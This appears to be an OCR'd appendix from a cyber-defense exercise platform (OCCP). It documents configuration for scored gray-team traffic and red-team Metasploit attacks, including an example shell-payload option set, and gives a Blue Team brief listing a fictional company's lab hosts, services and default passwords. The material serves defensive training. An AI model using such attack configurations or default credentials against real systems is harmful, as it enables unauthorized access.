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e red_weight (required): This is a number between from 0.0 and 1.0 that
represents the weight of the red team. The sum of the red_weight and
gray_weight must be 1.0.

e gray_weight (required): This is a number between from 0.0 and 1.0 that
represents the weight of the red team. The sum of the red_weight and
gray_weight must be 1.0.

<blue>
e blue_address (required if hint_address set): This is the email address
assigned to the Blue Team that will be used to give the Blue Team
information.

<gray>

e traffic_wait_time: After the scenario begins, this is the number of
seconds the gray traffic will wait before starting. The default value is O.

e random_addresses: This is “true” if web page requests are to be sent
from random addresses from gray_address_array.txt. The default value
is “false”.

e hint_address: This is the email address that will send hints to the blue
address

e hint_email_server (required if hint_address set): The email server used
to send hint emails.

<traffic>
e type (required): This is the type of traffic. The options are “ssh”, “sftp”,
“web_page”, “email”, and “user_script”.
e interval (required): The number of seconds between instances of this
traffic.
e points (required): The number of points each instance of this traffic is

worth. This should be a positive number.

Attributes for type="sftp”
e server (required): The address of the server being connected to.
e user (required): The user name being used to login.
e password (required): The password of the user.
e path_to_local (required): The path to the file on the local machine.
e path_to_remote (required): The path to the file on the remote server.
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action (required): Set this to “upload” to put the local file on the remote
server or set to “download” to download the remote file to the local
machine.

Attributes for type="ssh”

server (required): The address of the server being connected to.
user (required): The user name being used to login.

password (required): The password of the user.

command_file (required): The full path to the text file containing
commands to run (one command per line).

Attributes for type="web_page”

page (required): The full URL to the web page being requested (Must
include http:// at the start).

defacement_penalty (optional): The number of points added to the
points for this traffic instance. This should be a negative number.
md5_hash (required if defacement_penalty set): The MD5 hash value
of the web page used to check for defacement.

Attributes for type="email”

server (required): The address of the server being connected to.
to_address (required): The email address of the recipient.
from_address (required): The email address of the user.
imap_retrieve_password: This is set if the receiving user should login
and check for the sent email. This is the password of the email
recipient’s account.

Attributes for type="user_script”

script_name (required): This is the file name of the Bash script that will
run. The file must be placed in ../OCCP/GrayTeam/user_scripts and
must have permission to execute.

timeout: This is the number of seconds the user script has to finish
before it is stopped and scored as unsuccessful. The default value is
“120".

<red>
address (required): This is the address of the Red Team.
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exploit_wait_time: After the scenario begins, this is the number of
seconds the red attacks will wait before starting. The default value is
“0”".

metasploit_user (required): The username for Metasploit.
metasploit_password (required): The password for Metasploit.
random_addresses: This is “true” if Metasploit exploits are to be sent
from random addresses if CHOST option is used. The default value is
“false”.

<attack>
type (required): This is the type of exploit. The options are “metasploit”
and “user_script”.
order (required): This is the position of this attack in the timeline of
attacks. (i.e. “1” is first, “2” goes second, etc.)
points (required): This is the number of points the attack is worth. This
should be a negative number.
wait_time (required): The amount of time in seconds that the attack will
wait (after the previous attack) before starting.
timeout: This is the number of seconds an attack has to finish before it
is stopped and scored as unsuccessful. The default value is “120".
file_name (required for type “user_script”): This is the file name of the
Bash script that will run. The file must be placed in
../OCCP/RedTeam/user_scripts and must have permission to execute.

<module_options>
(required for type “metasploit”)
exploit_type (required): This is the type of Metasploit module e.g.
“exploit” or “auxiliary”.
exploit (required): The name of the exploit. It requires the exploit type at
the beginning e.g. “exploit/multi/handler”.

<exploit_options>
(required for type “metasploit”)

Each attribute in this tag is an option for the specific exploit. This should

be the same options that would be used in msfconsole. Test the exploit with
msfconsole first to ensure that it works as desired. If CHOST is set blank it will
choose a random address from red_address_array.txt to send the exploit from
if random_addresses is “true”.
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Note: PAYLOAD should be put first in the option list. The order of the other
options should not matter.
Example:

e PAYLOAD="cmd/unix/interact”

e RHOST="192.168.0.1"

e CHOST="

<post_exploit>
(optional for type “metasploit”)
e command_file: The path to the file containing commands to run during a
session opened by an exploit.

Running a Scenario

Once the VTN and configuration file are set up on the Game Server, the
scenario can start. Start all of the virtual machines that will be used during the
scenario. On the Game Server, open the terminal and navigate to the main
OCCP directory. The default is /home/user/OCCP. If random addresses are to
be used, type sudo ./add_addresses.sh to add the addresses to the network
interfaces. This script needs to be run each time the Game Server is booted
from a shutdown state. To run the scenario, type ruby occp.rb . The terminal
will display time-stamped events from the scenario as it is run.

Logs

There are log files for White, Red, and Gray located in ../OCCP/Logs
that contain the time-stamped list of events from a scenario that has been run.
The OCCP log combines all the logs into one file.
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APPENDI X 3: Blue Team Scenario Brief

Blue Team Scenario Brief

Player Version

Background

The Kitten Mittens Corporation has recently fired its network administrator
after an investigation revealed that he had been using the company server for
non-business purposes. The company has received threats from Mac, the
previous network admin, which indicate that he plans to gain access to the
company’s network and disrupt the business. It is suspected that he may have
backdoors installed on the company server. You have been hired as the new
network administrator and your job is to secure the network by preventing
unauthorized access and ensuring the availability of services.

Goals

In order to be successful, you must do the following:
e Prevent unauthorized access to the network.
e Maintain service availability.

User Accounts

The following user accounts on the server belong to employees of the
company:

e administrator — This is your account with root access. The password is
currently set to admin. It is a member of the admin and employee
groups.

e charlie — This account belongs to an employee (don’t change
password). It is a member of the employee group.

e frank — This account belongs to an employee (don’t change password).
It is a member of the employee group.

e julian — This account belongs to an employee (don’t change password).
It is a member of the employee group.

Other user accounts on the server:
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e root — The root account has unlimited access to the system. The
password is currently set to rootpw.

e mac — This account belonged to the former network administrator.

e customer — This account represents service users and will send you
emails if services are not working.

Services

These services must be available on the kittenmittens.com server:
e SSH - port 22
e SFTP — port 22
e HTTP (Apache web server) — port 80
e SMTP (Postfix email) — port 25
e |IMAP (Courier email) — port 143
e |ICMP (ping)
This service should be available but is not required:
e NRPE (Nagios) — port 5666

Important Files

On the kittenmittens.com server, the folder /usr/data contains three files:
customer_datal, customer_data2, and customer_data3. These files represent
confidential customer data and need to be accessible only by accounts
belonging to employees.

Network

The company network is separated from the Internet by a pfSense firewall.
These hosts are part of the network:

e pfsense —10.12.2.1

e kittenmittens.com — 10.12.2.10 (external: 207.63.11.10)

e admin-workstation — 10.12.2.23
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Network Diagram
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Resources and Tools

admin-workstation — This is your workstation. The username is user and the
password is User123.

Email account — You can access your email through the web interface at
http://www.kittenmittens.com/squirrelmail or log in to the server with ssh and
use Mutt for a text interface. Emails will be sent to your administrator account.

Website backup archive — There is a tar file containing a backup of the Kitten
Mittens website located in /home/user/Desktop/website _backup.tar on admin-
workstation as well as in /home/administrator/website_backup.tar on the
kittenmittens.com server.

tar — This is a command line tool for extracting a tar archive. Type tar —xf
[filename] to extract. For more usage information, type man tar in the
terminal.

pfSense — This is the firewall separating the company network from the
simulated Internet. Rules can be defined to control traffic on the interfaces.
The web interface can be accessed by navigating to https://pfsense in the web
browser. The login user name is admin and the password is admin.
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ssh — This is a command line tool for making a secure shell connection to a
remote machine. In the terminal, type ssh [user]@[host] and enter the
password when prompted. Commands can now be run on the remote host.
For more usage information, type man ssh in the terminal.

sftp — This is a command line tool for transferring files securely to and from a
remote machine. In the terminal, type sftp [user]@[host] and enter the
password when prompted. To upload a file type put [path to local] [path to
remote] and to download a file type get [path to remote] [path to local] . For
more usage information, type man sftp in the terminal.

Nagios — This is a tool for monitoring services. It is already configured to check
for many of the services on the kittenmittens.com server. The web interface
can be accessed by navigating to http://localhost/nagios in the web browser on
admin-workstation. The login user name is nagiosadmin and the password is
Nagios.

Wireshark — This is a packet sniffing tool that captures traffic on a specific
network interface. By enabling promiscuous mode, the traffic of other
machines in the network can be captured.

EtherApe — This is a graphical network monitor. Start it by typing sudo
etherape in the terminal.

nmap — This is a security scanner that can be used to discover hosts and

services in a network. In the terminal, type nmap [host] to enumerate the
ports of a host. For more usage information, type man nmap in the terminal.
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